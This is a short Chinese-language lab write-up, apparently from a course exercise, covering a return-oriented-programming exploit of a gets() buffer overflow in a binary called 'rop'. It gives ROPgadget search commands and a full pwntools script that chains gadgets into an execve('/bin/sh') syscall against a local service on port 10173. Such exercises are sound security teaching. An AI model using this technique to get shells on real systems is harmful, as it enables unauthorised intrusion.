攻擊思路
執行到 gets 函數呼叫前 rop 注入點,可以看到呼叫 gets 前,main+30 先將 [rbp-0x30] 的位址儲存到 rax 暫存器。所以一開始需要填 0x30+0x8 個 a ,接下來蓋過 return 位址開始 ROP 鏈。

下圖參考課程簡報中,用 ROP 串出一個基本的 shell 呼叫流程的圖解。

接下來,用 ROPgadget 找出 pop rax , pop rdi, pop rsi 和 pop rdx 的 ROP gadget。
ROPgadget --binary ./rop | grep ": pop.\{7\}ret$"

需要 "/bin/sh" 寫入 bss section ,利用 vmmap 得出 bss section 從 0x006b6000 到 0x006bc000 ,而非圖中的 0x601000。隨機指定這之間的位址就好了。

接下來,找 mov [rdi], rsi 的 ROP gadget。
ROPgadget --binary ./rop | grep ": mov.*\[rdi\], rsi ; ret$"

攻擊程式碼
from pwn import *
context.arch = 'amd64'
pop_rax = 0x415714
pop_rdi = 0x400686
pop_rsi = 0x4100f3
pop_rdx = 0x44be96
syscall = 0x40125c
mov_q_rdi_rsi = 0x44709b
bss = 0x6b6030
p = flat(
'a' * 0x38,
pop_rdi,
bss,
pop_rsi,
"/bin/sh\0",
mov_q_rdi_rsi,
pop_rsi,
0,
pop_rdx,
0,
pop_rax,
0x3b,
syscall
)
conn = remote("127.0.0.1", 10173)
conn.sendlineafter(":D", p)
conn.interactive()
成功開 shell。
